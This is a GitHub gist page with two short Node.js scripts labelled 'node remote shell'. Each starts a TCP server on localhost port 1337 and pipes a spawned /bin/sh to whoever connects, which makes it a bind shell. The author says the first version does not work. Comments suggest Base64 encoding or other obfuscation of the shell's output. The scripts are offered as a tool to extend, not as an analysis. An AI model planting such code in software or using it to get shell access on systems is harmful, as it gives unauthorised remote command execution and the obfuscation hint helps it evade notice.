Skip to content

Instantly share code, notes, and snippets.

@btoews
Created October 13, 2011 03:36
Show Gist options
  • Save btoews/1283301 to your computer and use it in GitHub Desktop.
Save btoews/1283301 to your computer and use it in GitHub Desktop.
node remote shell
//Minimalistic remote shell over tcp using nodejs
//This doesn't work. I think it should...
//Additionally, this isn't nearly as cool
//as the next file because it gives you no
//ability to modify/inspect shell input/output
var spawn = require('child_process').spawn;
var net = require('net');
var server = net.createServer(function(socket){
var sh = spawn("/bin/sh",[],{cwd:undefined,env:undefined,customFds:[socket,socket,socket],setsid:false});
});
server.listen(1337,'127.0.0.1');
//Remove shell over tcp using nodejs
//I plan to extend this to be more useful.
var spawn = require('child_process').spawn;
var net = require('net');
var stream = require('stream');
var console = require('console');
var server = net.createServer(function(socket){
var sh = spawn('/bin/sh');
sh.stdin.resume()
sh.stdout.on("data",function (data){
//Node makes async stuff easy.
//You can do cool things like:
//socket.write(Base64_encode(data));
//or any other encoding/obfuscation
//for that matter.
socket.write(data);
});
sh.stderr.on("data",function (data){
socket.write(data);
});
socket.on("data",function (data){
sh.stdin.write(data);
});
});
server.listen(1337,'127.0.0.1');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment